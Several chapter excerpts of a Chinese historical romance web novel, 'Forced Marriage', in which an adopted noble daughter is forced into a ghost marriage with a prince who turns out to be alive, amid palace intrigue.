《迫嫁》 1. 第 1 章 《迫嫁》全本免费阅读 初春惊雷过后,雾似的小雨绵延落下,连着几日如同纱幕拢盖住整个京华。 苏玉瑶躺在廊庑的贵妃椅上,往左探出手时,飘来的雨珠滴落在她的手掌,丝丝凉凉一直沁到她的心底。 宫里来的柳嬷嬷就站在旁边,时不时打量眼前的女子。 世家之女最讲求端庄素雅,秀致内敛,可苏玉瑶不是,她清丽明媚,即使穿得素净,也掩不住娇妍国色。 未绾的青丝如瀑,一双桃花眼潋滟含情,琼鼻朱唇,加上那副浑圆妥帖,芳姿绮靡,怎一句惹人了得。 柳嬷嬷掰起指头数一数,来太傅府这偏院也有五日了,朝夕相对,居然还是看不腻,足见女子娇艳,当得起曾经京华第一美人的称号。 可惜越美的女子,没有倚仗,美貌反而成了伤己的利器。 “苏小姐,您如今身子娇贵,春寒料峭,切莫贪凉。”说罢,柳嬷嬷摆横在女子面前,挡住了飞溅而来的少许雨水。 “谢嬷嬷关心,几滴雨珠罢了。”苏玉瑶收回手,垂眼柔声,“这几天辛苦嬷嬷照拂,玉瑶心中铭记。” “苏小姐客气。” 柳嬷嬷一听,心中顿时软了三分,说出了些本不该她说的宽慰话。 “苏小姐,您听我句劝,凡事想开些。若非太傅大人,您幼年流落在外别说十多载的养尊处优,怕是连活着都艰难。这次配的虽是冥婚,但太后仁慈,准你保全性命单嫁给牌位,往后您就是皇家妇,守在王府也是无人敢欺,何尝不是一种福分。” “再说燕王身份尊贵,要不是王爷殁了,小姐您这般——” 柳嬷嬷后半句没有说下去,但是苏玉瑶听得懂,要不是王爷殁了,王妃的位置哪里轮得到她这身世不明的养女。 事情要追溯到一个月前,太傅几经周折终于找到了失散十三年的亲女儿,彼时急切将女儿带回家,苏玉瑶才知晓自己不过是父母捡来‘睹物思人’的同岁小乞丐。 嫡小姐归位上族谱,名唤苏玉琼,苏玉瑶一夕之间被昭告为养女。 原定的婚约作罢,进宫给公主做伴读的机会不再,她也从众星捧月的世家贵女变成人人可议论的假千金。 若是仅如此,苏玉瑶也肯认命,她依旧感激父母亲悉心养育她多年,直到六日前,燕王战死的消息传到京华,她忽然连养女都做不成了。 太后下懿旨让她嫁作燕王妃,从此将她禁足王府,直至百年后与燕王的衣冠冢合葬。 柳嬷嬷便是太后请来,在她出嫁前好好‘照料看顾’她的。 苏玉瑶想着前事顿觉疲累,她手撑椅背起身,对柳嬷嬷说的话并未辩驳,而是轻轻回了句:“我只是没想到,只消一日,你们就选定了我。” 燕王死得可惜,太后怜爱胞弟,太傅感念圣恩献出养女,而她,没有人在意,亦没有人犹豫,好像她命该如此。 女子的嗓音细柔悦耳,分明语气平淡,从她口中说出,却叫人感受到无穷的遗憾和委屈,让人忍不住心疼。 柳嬷嬷叹气,忽然不知说什么好。 俗话说身前不管身后事,燕王战功赫赫,天子亲舅,饶是矜贵,死了也是一抔黄土。 太后现下说得好听,慈悲心肠留燕王妃性命,等风头一过直接密令王妃陪葬也未可知。没人舍得亲女儿跳进火坑,推出苏玉瑶是不得已,也是太后对世家们的妥协。 谁教她不是亲生的呢。 “嬷嬷,让我自己呆会儿好么。” “这……” 柳嬷嬷有些犹豫,她此行一来是替太后确证苏玉瑶的品貌脾性,结果当然是满意的,二来,也是怕女子想不开,今晚就要出嫁,新娘子上花轿前自尽了可怎么办。 按太后的暗示,就算姑娘寻死,也得进了燕王府再死。 苏玉瑶见老人不动,明白她的顾虑,回头又道:“嬷嬷办事不易,我不添麻烦,嬷嬷放心,不管如何,我想好好活下去。” 柳嬷嬷这才首肯,松口任她:“……好吧,我正好也得准备你今晚的浴汤。” 苏玉瑶住的芳砎院,和太傅夫妇的居所离得很远。 她独自站在台阶上四顾青砖黛瓦,转折游廊,各种回忆片段如潮水翻覆。 以前她不懂为何正院旁带花园的天然居修葺了一年又一年,都没人搬进去,也不懂为何她努力在宫中茶宴上拔得头筹,父亲看着她的眼神全是惋惜,更不懂为何每年生辰,她高高兴兴吃着长寿面,母亲却背过身默默流泪。 现在明白过来,琼是真美玉,瑶是石之美者,石头再好,如何堪与玉比。 …… — 苏玉瑶的婢女宝筝回来时,恰好与去拿沐浴香粉的柳嬷嬷碰了个照面,小丫鬟福了福身后将院门关紧起来。 “小姐。” 苏玉瑶正在练字,问:“都换好了?” 宝筝从内侧胸襟袋里拿出一沓银票,双手捧着给自家小姐查阅,“嗯!去的大孟当铺,多削了点价,好在换好了!” 丫鬟一大早出门,是听小姐的吩咐将闺房中成色好的珠翠玉饰,包括十数年积攒的生辰礼品等等俱都换了钱。 前路漫漫不可知,她没有嫁妆,身上有银两傍身总归是好的。 苏玉瑶接过数了数,做到心中有数,随即分了叠给丫鬟,“宝筝,你本是我在街上买回来的,没安奴籍,这些钱拿去开家铺子,别跟我去王府了。” 宝筝一听,方才还眼巴巴跟着数钱的杏眼倏红,瘪嘴哭腔:“小姐,奴婢死生都跟着您,您别不要我!” 苏玉瑶好声解释:“我进了燕王府恐怕再也出不来,你何必陪我。” 何必搭上大好年华,陪 2. 第 2 章 《迫嫁》全本免费阅读 紫竹屏风后,女子正在褪衣,她扶着边沿踏进浴桶,露出的裸背肩胛纤薄,肌肤光洁,低头掬水时,水波荡漾映着她的娇颜。 湿雾弥漫,白芷、甘松的气味浓烈,柳嬷嬷说,这是燕王喜欢的香气,苏玉瑶抿唇,将好大的香包挑出放在一旁的木几上。 一切过程都必须按部就班,当门外叩响,苏玉瑶绞干头发,起身穿衣裳。 紫檀木珩架挂着的喜服朱红,辅以金线绣制,做工极其精细,看得出太后对婚事有多么上心,当然若不上心,也不会有活人冥婚这桩荒唐事。 事到如今,苏玉瑶无意继续自怨自艾,往好处想至少她能活着。 刚穿戴好,外面传来急匆匆的脚步。 是柳嬷嬷的提醒,“苏小姐,苏夫人前来寻你。” 女子稍顿,“劳烦,请她进来。” 太傅夫人王氏碎步跑进,看到苏玉瑶的当下眼眶就红了,上前抱住养女泣声道:“我的乖女儿啊!” 苏玉瑶示意宝筝关上门,随即引着母亲往内间走,王氏也逐步平复了心情。 “母亲,夜晚风凉,您怎的还过来。” “傻姑娘,你马上就要嫁人,我岂舍得不来见你。” 王氏抹了把眼泪。 她对玉瑶的感情肯定是有的,到底养了十三载,即使从头至尾,她和老爷都在透过玉瑶看他们的琼儿,但那些共有的回忆不可能抹去。 将玉瑶嫁给燕王是大势所逼,太后铁了心要求冥婚的燕王妃举止得体,出自世家,正好他们这阵闹出个养女,满朝堂的老友一个接一个拜访劝他们‘割爱’。 更重要的是,玉瑶迟迟不出嫁,祁渊就不可能娶琼儿,琼儿在回归宴对祁渊一见钟情,日日哭闹,看得他们心疼…… 总之,是天意,是无奈之举! 王氏越想越觉得养女身上的喜服刺眼,牵起她的手,哽咽问:“玉瑶,你会不会恨我们?” 会恨吗? 苏玉瑶也问过自己,一个月前,她还能随意依偎在母亲身边撒娇,听父亲教导,和弟弟打闹,忽然间她成了太傅府最多余的人。 她无法说养父母有错,他们心善救了她有错吗,他们偏爱亲女儿有错吗?他们遵太后的旨有错吗。 一切在情理之中,她能恨谁,恨谁也无用。 “不会,父母亲养育我多年,我心存感激。”女子说这话时始终低着头,看不见表情,“母亲,弟弟他还未回来吗?” 苏太傅有双胎一女一儿,苏玉琼走散那年苏玉堂尚没有记忆,他从来把玉瑶当成亲姐姐对待,以至于上个月难以接受跑回老家散心。 王氏摆手道:“哎,他那臭脾气,没呢。” 其实没回来也好,按着玉堂的性子,若知道‘姐姐’被逼嫁给个死人,即使是王爷,他也敢闹得天翻地覆。 苏玉瑶想起莽撞单纯的弟弟,唇角弯起一丝真实的弧度。 ——“咳,咳。” 柳嬷嬷在门外轻咳了几声,苏玉瑶明白这是在催促。 “夜深了,母亲快些回去休息吧。” 说完,女子提起裙摆直直跪下来,磕了个头,“母亲,过了今晚,玉瑶大概很难再尽孝,女儿叩谢你们多年恩德。” “玉瑶你,你——” 王氏掩面哭泣,最后声嘶力竭,出门时由身旁的丫鬟们搀扶着才出得庭院。 子时三刻将至,绵绵细雨竟也停了,柳嬷嬷替苏玉瑶盖上最后的锦盖。 新娘的娇美瞬间被藏了起来,红衣素手,冰肌玉骨,见不到脸也看得出是位标致的大美人。 在寂静中,苏玉瑶搭着柳嬷嬷,一步步走向太傅府的大门。红轿就停在外头,她站轿门前停了一停,像是在下什么决心一般,随即钻上了花轿。 民众对于此事颇为关注,由于皇城实行宵禁,就算他们想看热闹也没办法上街,但到处庭院里微亮着的灯,仿佛道道无声的议论。 喜轿绕整个皇城转了一圈,燕王王府的侍卫恭候街角,府里妆点了锦缎,屋房檐角,门厅挂枝,到处是浓重的红和黑的间色。 形式隆重,皆因有宫人专门操办。 王府里大部分奴才则忙着愁眉苦脸,过了今晚,他们遣散的遣散,发卖的发卖,哪还有好日子过。 “天可怜见,王爷说没就没,我都不知明儿个会被卖给谁家!千万别是御史府,要累死个人。” “哎,我看王妃更可怜,年纪轻轻,太后派了看守,说明晚就钉死房门。” “真的假的?那不是要逼死人吗?” “嘘——别瞎说!” 苏玉瑶去往后院的一路听的此类话不少,惴惴不安,带路的王府太监周克发觉她走慢了,不耐烦往左瞟了她一眼。 苏玉瑶戴着喜帕,右手搭扶着周克走,她思索片刻,从袖中摸索出一张五十两银票,不易察觉地塞进了周克手中。 女子的嗓音轻柔带着颤音,“还望周公公指点。” 年轻太监一看,对数额很满意。 周克攥住银钱滑进袖袋,神态比之前缓和不少,尖声道:“苏小姐,你该知道太后仁善,那些碎皮嘴子嫌命长,闲言闲语不作数。” 苏玉瑶心下稍安,“谢公公提醒。” 这场婚宴没有宾客,没有新郎,苏玉瑶和一只公鸡行完拜礼之后,便进了喜房。 陪嫁丫鬟宝筝守在门外,周克用燕王的牌位挑开新娘的盖头,顿时一张花容月貌乍现,可谓夭秾娉婷,饶是他曾服侍过的宫妃美人无数,也要赞一句“翘楚”。 周克很快收起端详,将牌位塞到女子手中,“王妃记住,不可离开牌位,便是睡觉也得抱着。” “好。” 门由外合上,苏玉瑶环顾周围,小轩窗下龙凤烛摇曳,满室铺就绸缎,木榻上厚叠了五六条鸳鸯喜被,和寻常人家的洞房没甚差别。 除了自己怀里那无比刺眼的金丝楠木牌位。 苏玉瑶看了一眼,原来燕王的名讳叫秦执,她只听人提起燕王,还是第一次知晓他的名字。 打开衣柜,全是男人衣衫,看来秦执生前常住这间,光看衣料尺寸,能想象对方是个宽肩窄腰的高大男子。 苏玉瑶就这样在房中慢绕了一圈,有意去寻找燕王曾经生活的痕迹,她没见过他,有害怕也有好奇, 3. 第 3 章 《迫嫁》全本免费阅读 秦执停留是因为闻到太后宫中常用的熏香,循声望过去才看到女子。 引路太监惯会看眼色,立刻顺着燕王的视线往那提灯一照,没想照出了一个柳亸花娇,我见犹怜的大美人。 素衣乌发,眼底微红,以及刚在她怀里的牌位,女子的身份不言而喻,众人惶惶退避让开了一个光圈。 苏玉瑶站在唯一的光亮中很紧张,她不清楚燕王对这桩婚事的看法,但她毕竟做了十几年大家闺秀,最终稳住了心神,朝男子福身全礼,“妾身见过王爷。” 她想,首先问候一句,应当不会错。 秦执来的路上已听闻太后为他配了冥婚,他未留意娶的哪家,遂向她走近,“你叫什么。” 男人的嗓音低沉淡漠,辨不出情绪。 女子低着头,细声回答:“苏玉瑶。” 秦执站定在女子面前,居高临下,修长的手指忽然攫取她的下颚往上抬,苏玉瑶何曾被人这般对待过,大惊之下,花容失色。 然而男人并没有怜香惜玉的意思,他垂眸左右扳看她的脸颊,像是在审视一项物件,而女子则被迫与他对视。 她的手试图推挡,可他像座山,她的力量一无是处。 或许只有几息,苏玉瑶像过了几年般漫长,他终于松开了她,她方才得以喘气。 秦执接过随侍递来的锦帕擦手,擦完的帕子正好落在牌位名字上,他淡声道:“好端端的俏娘子,怎么会愿意嫁给一个死人。” 苏玉瑶惊魂甫定,她其实可以讲出许多冠冕堂皇的话,但面对威势颇盛的燕王,尤其经历刚才那一遭,她不敢说谎。 “妾身是苏太傅府上的养女,王爷尊贵,若非太后懿旨,妾身不敢高攀。” “哦,被逼的。” “……嗯。” 这回答可以说过分直白,苏玉瑶心里有点忐忑,偷偷看了眼秦执,他刚好站在阴影里,好似勾了唇,细看又不像。 “卯时,来书房见我。” “是。” 夫妻二人的初见,用八个字概括:心惊胆战,戛然而止。 周克适时出现捡起地上的木牌,一改冷态,殷勤对着苏玉瑶道:“老天保佑王爷平安,奴才恭喜王妃,天还没亮,奴才先带王妃回院儿里休息……” 燕王府由秦执独住,他活着回来,屋檐上的黑布全拆,红绸灯笼一只只高挂,像真正经历过一场喜庆的大婚。 周克带苏玉瑶进了喜房所在的二院,丫鬟宝筝早在那里翘首以盼,看到自家小姐激动地连连挥手。 “小姐,您可回来了!奴婢听说王爷没死是不是?!小姐不用做寡妇,太好啦!” 宝筝心直口快,苏玉瑶皱眉朝她摆了摆手,丫鬟马上识相闭嘴。 周克当作没看见,从袖中掏出先前的银票递回苏玉瑶手中,谄笑道:“都怪奴才没眼力见儿,望王妃宽恕,王妃在此地好生休息,等卯时了,奴才接您过去。” 苏玉瑶推脱几次,无奈收回,“好,有劳周公公。” “不劳烦,哈哈不劳烦!” 让宝筝送走周克,苏玉瑶试着躺卧小憩,一时半会难以入眠,满脑子都在想王爷召她会说些什么。 眼下燕王回来,这婚作不作数全凭他的心思,按他适才的嫌弃态度,会不会是想和离? 若真如此,她就可以隐姓埋名回乡,反正身上的银两也足够她和宝筝以后的过活。 苏玉瑶想着想着,绷紧的弦略微松弛,勉强睡了过去。 …… 而此时,正院庭里却是气氛凝滞,大小官员面面相觑,要知道燕王‘死’的这一个月,明里暗里,大家的手段都不少。 没了首领的十万边防大军和燕王北平的封地,朝堂谁不急着染指,岂料秦执完好无损地回京,吓得他们赶紧奔过来表忠心。 当然,燕王没死,最惨的当属正在受审的那位吧,半个时辰还没出来呢。 书房内,秦执阖眸靠坐在挂灯椅上,他的两条长腿交叠,姿态慵懒,在他对面,是一架血迹斑驳的站笼。 浑身污渍的犯人被悬空吊起,脚下垫了砖块强制立着,他的头牵紧锁链,脏乱的碎发下是一张可怕的脸孔,鼻塌眼肿,不忍卒看。 燕王侍从卫蔺手里的铁鞭还在不断落下,直到上首的男子睁开眼,卫蔺收起利器,躬身退至一旁。 秦执摺了摺蟒袍袖口,薄唇轻启:“陈七,想清楚再说。” 陈七吃力地抬起头,口冒鲜血,“王爷,是,是属下一时利欲熏心,才会,才会被白狄收买,但火药,真的不是我安置的。” 紫荆关一役,燕王之所以被传出身故的消息,是因为他回程峡谷遇到了埋伏的火药,当时炸的漫天红海,谁看了都觉得无人生还。 临时驻营地只有几人知晓,跟随燕王五年的参将陈七是其中之一,后也查明他是主犯,逃到勾注山被守山人发现抓了回来。 秦执闻言笑了一下,指腹轻轻摩挲着玉扳指,“看来嘴很硬。” 陈七一脸惊恐,“王爷不要!” 卫蔺冷着脸抡起鞭子上前,走廊却响起不合时宜的叩门声,“王爷,卯时了,奴才特带王妃前来进见。” 苏玉瑶站在门口,透过窗棂能看到里面人影攒动,明显燕王正忙,然而她来不及阻止,周克已经通禀。 片刻后,卫蔺面无表情地打开了门。 苏玉瑶被扑面而来的腥臊味熏得一个踉跄,奈何箭在弦上,她不得不硬着头皮走进去。 房内各角落站了侍卫,绕过黄花梨木屏风,她先是途径一座高高的木质牢笼,笼内血肉模糊,她不敢停留,甫一转身又迎上了秦执的视线。 没有初见那般冷寒,但肯定也不和善。 地板上血迹斑驳,苏玉瑶害怕却不愿露怯,一路强忍着心悸迈过,直至燕王的面前。 相比先前夜色中的仓促照面,壁灯下看男人的五官确实无瑕,俊美绝伦,可他袍角沾染的血,让人根本生不出别的心思。 女子屈腿行礼,天生的温柔款款,“王爷。” 秦执掀眸看了看她咬红的下唇和微颤的指尖,她佯装出的自若在他面前不堪一击,不过一晚上的破衣烂肉已让他腻烦,她算得上赏心悦目,他懒得戳穿。 他两指一招。 “是。”苏玉瑶依言上前一步站男人身旁。 卫蔺继续方才中断的施刑,每一下鞭挞错落准确地穿过牢笼的间隙打在囚犯嘴上,陈七嘴唇的血都快流干了,口中还在向秦执讨饶。 苏玉瑶始终低眉垂首, 4. 第 4 章 《迫嫁》全本免费阅读 书房旁的耳室供燕王平日小憩,木嵌螺钿书柜,卧榻,牙头画案等一应俱全。 墙角的错金博山铜炉内缓缓燃着檀香,无烟味浅,添了一丝木梨花的后调,很好闻。 苏玉瑶端坐桌边丝毫不觉枯燥,比起适才场面,她宁愿这样干等。 约莫一个时辰后有人开门,来的却不是秦执,而是周克。 苏玉瑶眺了眼他身后,庭院里官员离开空出了大片地方,“周公公,王爷他办完事了吗?” “王爷他没空来了,王妃还是先回院里。” 女子慢慢走近,狐疑道:“怎么了?我可以等。” 她应当没惹秦执不悦吧。 “我一个奴才,怎好谈论主子的事。” 周克的手搓一搓,尖嘴猴腮一副欲言又止的模样,苏玉瑶试着将不久前收起的五十两还回他手里,果然,太监变脸变得飞快。 周克藏好银票,咧着嘴低声:“王妃,奴才见你爽快,就与你讲句实话。王爷刚被太后宣进宫了,听崔大公公的意思,太后对这桩冥婚后悔的很呐!” “你是说,太后不希望婚事作数?” 周克兰花指一翘,做了个“对,你懂”的眼神。 “好,我晓得了。” 若不是苏玉瑶有定力,她想开心地喊出声来。 她和秦执笼统见了两次面,他生性的狠厉让普通女子的她提心吊胆,作弃妇也好过后半生过得战战兢兢,再者换个名字,乡下小户谁认识她呢。 反而是周克觉着可惜,王爷每年回京呆不满两个月,是以宫里直接拨例钱养王府。他作为名义上的管家是半点油水捞不着,日子过得皱皱巴巴。 好不容易盼来个大方的女主子,屁股没做热呢,她就要被赶走了。 “王妃要不先收拾行李?” “嗯。” 苏玉瑶提裙小步挪到门口,无意看见西边书房台阶有下人蹲着清理,擦布浸透一滩滩红水,她登时一整个激灵。 女子怏怏收回跨门槛的右脚,“周公公,我还是不走了,王爷让我在这等,我等他回来。” 苏玉瑶回头看向桌案上的白宣,耳房笔墨纸砚都有,方便王爷写和离书,届时她拿上就能离开。 周克对此不在意,看在五十两的份上,他贴心道:“那奴才命人做些糕点来,不能让王妃饿着上路。” …… — 永乐宫中,秦太后扶额坐在宝座,宫女素娥替她揉肩敲背。 她已年过四十,绿鬓如云,雍容华贵,几抹细微皱纹并不折损她的容貌,依旧能看出她年轻时的风采。 自然是极美的,否则也不会在二十五岁的年纪进宫被先帝宠爱,生下了当今天子。 “太后,燕王在门口等召。” 秦太后闻声抬头,精致凤眸中有流光一闪而过,她扶着太监的腕臂走下台阶,“还不快宣他进来。” 大公公崔乐将秦执带进主殿后,退步合上门,挥退一众奴婢侍卫独自守在门外。 “臣弟见过太后。” 秦太后扶起秦执,上下端看,眼神慈爱,“六郎活着就好,哀家前两日做梦都是那场大火,还有死去爹娘对我的质问,半夜得了消息,哀家醒到现在。” 秦执是秦老夫人高龄所出,在家排行第六,加之是嫡子,备受宠爱。 太后的语气饱含忧虑,憔悴神态不似作伪,天下皆知她就这一个胞弟,历来捧在手心。 秦执的神情相较则冷淡,只笑说了句,“臣弟无碍,还请太后保重凤体。” 秦太后听完肉眼可见的高兴,登时变作笑颜,拍拍他的手,“好,哀家听你的。” 短暂的问候寒暄之后,太后坐回了首座。 “六郎有无查到是何人经手。” 秦执想起昨夜陈七的供词,他心中有数,低眸却道:“禀太后,尚没有结果。” “没关系,慢慢查,哀家和陛下说了,翻遍朝堂也必须给你一个答复。”秦太后又道:“陛下那还在等你,你且去看他报个平安。” “是,太后,臣弟告退。” “对了,苏太傅家的养女……”秦太后末了才想起多此一举的冥婚,眼里流露厌弃,“你若不喜便退回去,正妃的人选哀家另有打算。” 秦执见她锁眉,难道苏玉瑶不是她的人,他扯唇道:“太后所赐,臣弟很喜欢,不退。” 燕王走后,崔乐捧着参汤奉上台阶,晾了晾端给主子,讨好道:“太后,江南新晋的贡参,您尝尝。” “燕王刚刚那番话想必不是有心反驳,您千万别置气伤身。” “呵呵,他喜欢就玩去,哀家也不是第一次送他玩物,五岁时的兔子,八岁时的小马,到该死的时候都得死。” 崔乐不敢回应,十多年前的秦家六郎,和如今羽翼丰满的燕王,岂可同日而语。 秦太后抿了一口汤,想起了什么,抬手转而道:“牢里的都埋了吧。” “呃,一个不留?” 崔乐素来了解太后心狠,但这样不顾后果,无疑会很麻烦。 秦太后冷笑:“哀家只是让他们废了燕王一双腿,没让他们下杀手,吃里扒外的狗东西,死得不冤枉。” 崔乐感慨上首这位天底下最尊贵的女人,果真和燕王是亲姐弟,那眉眼间的狠劲儿如出一辙。 “是,奴才遵旨。” …… — 秦执在乾清宫陪皇上用完午膳,到王府已是未时。 男人先进书房的耳室更衣,坐廊下发呆的周克看见燕王回来立刻小跑过去叩拜。 “奴才拜见王爷!” 秦执单手解开官袍脖领的盘扣,露出锋利的喉结,不耐皱眉,“谁在里面。” “回王爷,是王妃啊。”周克猜想燕王事务繁忙忘了这茬,以免野火烧身,迅速甩清关系,“王妃非要在耳室等您,奴才劝了半天,可王妃不肯走……” 男人问话的时候脚步没停,周克自然不敢拦着,临到了门口卫蔺扯住太监一起站外面守候。 房内,女子一袭素色纱裙半趴在茶桌酣睡,看得出本是想坐会儿,不小心眯眼睡过去了。 她云发丰艳,纤纤玉手枕面,精致的侧颜柔光若腻,安静的如同一卷美丽古画。 桌面摆着茶水,瓷碟还剩两块桃酥,与她指尖存留的一点白色糖霜遥相呼应。 春困的苏玉瑶后知后觉被阴影笼罩,睡眼惺忪睁开眸,衣袍上的四爪蟒纹近在咫尺,慢吞吞仰首,秦执就站在她面前。 女子蓦地扶桌起身,嗓音未醒,略喑哑,“参见王爷。” 秦执垂眸,拿起桌上新的茶杯,斟了杯茶,“本王随便一说,你三个时辰也等得。” “王爷吩咐,妾身应当遵循。”她更怕惹他不快,不利和离。 男人闻言,玉色修长的指端将倒好的茶推到她面前。 苏玉瑶愣了会儿,捧起啜饮一口,果然嗓子舒服多了,声音恢复清悦,“谢过王爷。” 秦执走到木珩架旁开始脱衣,苏玉瑶年幼时在家见过父亲下朝换常服,母亲一般会从旁照顾。 她现在仍算王妃,是不是也需做好本分。 5. 第 5 章 《迫嫁》全本免费阅读 苏玉瑶回房后补了个眠觉。 这些时日,她没睡安稳过,眼下尘埃落定,不是她最希望的结果,仍旧比最初的好。 燕王要她打理王府,就不会任意磋磨,他比她想的可怕,也比她想的讲道理。 尤其回来的路上周克提过,秦执每年留京至多两个月。 薄暮冥冥,苏玉瑶坐起抻了个懒腰,翻身从床上下来。 宝筝端了一碗南瓜粥给她,“小姐,灶房在做晚膳,您先喝点填填肚子,不然您的胃脘旧疾复发了怎么办。” 苏玉瑶应了声接过。 宝筝奉上手帕,她最佩服小姐的地方,就是无论遇到什么情形,睡一觉醒来只管好好过下去,从不怨天尤人。 “小姐,周公公一直在外候着,要不要让他进来。” 苏玉瑶咽完粥,道:“他站久了,给他加张椅子。” “是!” 周克整理好帽檐,堆起满脸的谄媚,一进门看到搬好的椅凳,跪地磕头,“奴才周克,见过王妃。” “周公公无须多礼,请坐。” 周克摆手,不好意思道:“王妃别再客气了,喊奴才贱名就是。” 宝筝在一旁看的偷笑,太监也跟着笑。 苏玉瑶擦了擦唇角,温声开口,“周克,你来的正好,我有事想问你,王府现下是什么景况?” 她想知道,秦执到底想让她打理什么。 周克心道真巧,就怕王妃不问,他来也是为说这些,“王妃,燕王府形势稍微复杂,听奴才慢慢禀告。” 秦执是六年前蛮城大战获捷后被先帝封的异姓王,赐封地原冀州以北,由于那里战乱频繁,民不聊生,凭当地财税自治都很勉强,因此那时这赏赐更像是将燕王框在边关守城。 彼时太后是得宠的贵妃,为此和先帝哭闹,先帝最后同意京城额外建府邸,容燕王可不奉皇诏随时回京省亲。 秦家产业颇丰,但是燕王迟迟未娶妻,以他的脾性,普通管事的也不敢在王府拍板定夺,是以由太后寻了宫中亲随代掌王府事务,一直延续至今。 “那……账房,银库与采买,王府都是没有的?”她以为她穷得没嫁妆,原来燕王府比她更穷。 周克没料到苏玉瑶一下问到了点上,果然世家之女都学过掌事,他激动道:“是啊,王妃。但是王爷现已成家,奴才觉得账是不是得王府自己管。” 如今王爷成了亲,王妃长居京华,相关人情打点,与其他官家女眷的来往,各种盛会,桩桩件件哪样不花销,难道次次问宫里要? 燕王的面子还要不要了。 只是一切由太后把持,若燕王真的死了,这话谁都不敢提,燕王还在,他们就有倚仗。 苏玉瑶听得懂他的意思,思忖后道:“我明了了,且先等两日。” 周克也知此事急不来,得等等宫里动向,连连应和,“是,是。” 话落,他往外招了招手,两名婢女进门施礼。 “王妃,她们两一个彩珠,一个彩月,本就是这院儿里的,宝筝姑娘事多,您就使唤她们。” “好。” 苏玉瑶看了天色,迟疑道:“周克,王爷他……用晚膳了吗?” 周克知道王妃在关心王爷的平日起居,回忆道:“按以往王爷回京,若非出门,见客用膳皆在正院,不过有了王妃,奴才觉着王爷晚上会来。” “咳——” 苏玉瑶喝水呛到,咳嗽了好几声,“你们先下去吧。” “是。” 宝筝收拾桌上碗筷,不解道:“小姐,王爷都吃完饭了,晚上还来作甚?” “……来看书。” “噢。” 女子敷衍了两句,赶小丫鬟去烧沐浴用的水。 因为当初是冥婚,苏玉瑶从没想过行所谓夫妻之礼,王氏也不曾教授,但如果燕王想要,她不能拒绝。 她不爱慕燕王,可这世上又有多少女子能嫁给钟意的男人,寻时机替秦执纳侧妃美妾就好,总归有办法。 沐浴后,苏玉瑶从随嫁的箱箧挑了本书,她涉猎颇广,从前有的杂记在太傅府得偷着看小会儿,而今无人管,她不知不觉看到了亥时。 “小姐不早了,您该睡了,院门都上闩了。” 苏玉瑶意犹未尽地抬起头,“王爷没派人来过?” “没有。” 女子松了口气,不管燕王是不近女色还是不喜欢她,她都觉得挺好,挽唇道:“等我睡着了,才能替我熄灯。” 宝筝笑嘻嘻,“好嘞,知道小姐怕黑,奴婢还睡外间陪小姐。” 苏玉瑶终于露出许久未见的笑容,“嗯。” …… 正院书房里,卫蔺从窗口驻留的鸽子腿上抽出一张宣纸,翻开送到燕王面前。 “王爷,宫里来信,西门往外偷运了十七具尸体。” 秦执侧掠了一眼,道:“陈七供出和没供出的都死光了,不必再查。留下他那份口供,日后有用。” “是。” 卫蔺从怀中又拿出几张信笺,“王爷,兰星已查过太傅府,没有异常,一个月前太傅将亲女儿苏玉琼认回,王妃才会作为养女被太后选中。” 秦执看折本的手势没停。 卫蔺拿起第二张,顿了顿:“王妃和礼部尚书之子祁渊青梅竹马,曾有婚约。” 秦执目光依旧落在本上,神情不变,“原来是有心上人。”才会这般不想做燕王妃。 “王爷,要对祁渊动手吗?” 秦执闻言轻嗤,“她人在这,心悦谁,与本王何干。” 他在意的结果是她这个人守在燕王府,至于人心这等脆弱又易生变的东西,他可没有兴致。 …… — 连着两晚,燕王没进过二院,只有卫蔺过来取了两件长衫。 苏玉瑶乐得清闲,但明日就是第三天,她不清楚王爷会不会陪她回门,要不要问一问呢。 “王妃,王妃!” 周克跑过来,进院呼喊:“王妃,永安宫的崔大公公来啦,正在书房见王爷,等会还要见您。” 世人皆知永安宫是太后居所,崔乐是秦太后跟前最得宠的太监。 这时候过来,很可能和管账有关。 她很清楚,秦执要她做的,她好好做才能换来安生日子。 苏玉瑶回房换了件深碧色端庄的如意云纹缎裳,整理妥帖后,吩咐彩珠在房里煮上热茶,茶汤煮沸时崔乐也跨进了院门。 “就这儿,对,把东西都摆这儿。” 崔乐指点着宫女太监,见到苏玉瑶,圆圆肥乎的脸展开笑意,上前虚虚作礼,“咱家给燕王妃请安了。” 一夕之间,昔日的养女变成了燕王妃,过去便不再重要,好在太傅府养了十三年,里子浸的和世家贵女无甚区别。 苏玉瑶浅笑示意,不卑不亢,“崔公公多礼了,马车劳顿,公公进来喝杯茶再走。” 崔乐瞧她长相悦目,举止大方,满意道:“嗯。” 进到内室,榆木窗扇开着送进微凉春风,伴随茶香扑鼻,着实惬意的很。 崔乐坐上提前搬来的太师椅,身旁的周克殷勤来回倒茶,“此番我来,是受太后吩咐 6. 第 6 章 《迫嫁》全本免费阅读 翌日回门。 苏玉瑶卯时就醒了,宝筝替她梳了时下新妇兴的朝云髻,那张妍丽妩媚的脸,褪去了最后一丝青涩。 因换了高底鞋,丫鬟一路扶女子攀上马车。 秦执在翻阅书簿,听到撩帘声抬头。 女子穿着一身桃花云烟曳地裙正弯腰钻进来,她的长袖滑落露出一截皓腕,雪白纤细,他只看了眼继续垂眸。 马车宽敞,苏玉瑶选坐在了车边侧椅,眼尾余光能看见秦执的鸦青暗纹袍摆,他似乎钟情深色。 几天没见,二人生疏的无话。 片刻后男人拢眉,扣下书凉声:“你用的什么香?” 苏玉瑶坐着发呆,恍然回神,“禀王爷,妾身不知,出嫁前家中带来的一箱子衣物,都教宫里的嬷嬷熏过了。” 和柳嬷嬷在浴汤里放的香包一样味道,她还嫌弃过浓烈呢,记得嬷嬷说这是燕王喜欢的。 但眼下秦执的神态告诉她,他不大高兴。 “本王不喜欢,往后别再用。” 苏玉瑶回忆大概是书房的血腥气重,加上染了耳室里的香,所以最初秦执没发现。 从这只字片语,她觉得燕王和太后不如传闻亲厚,当然这与她无关,她简单应了句,“好。” 秦执对她的顺从并不意外,真的天性温婉还是装出的柔声细语,对他而言,听话就行。 女子说完,更往窗的一边挪坐,素手卷起窗帘一角。 或许是灌进的春风吹来她鬓发上的木梨花香,秦执竟然有一瞬错觉,那厌恶了十多年的味道也没那么讨厌了。 无意的,男人手中的簿册翻页慢了些。 …… — 苏太傅是先皇替太子请的老师,皇上年少登基本该由他辅弼,然而太后专权,是以苏维安在朝堂日渐边缘,近几年太傅一职形同虚设。 至于光按品阶,他与秦执一文一武,倒没有相比的必要。 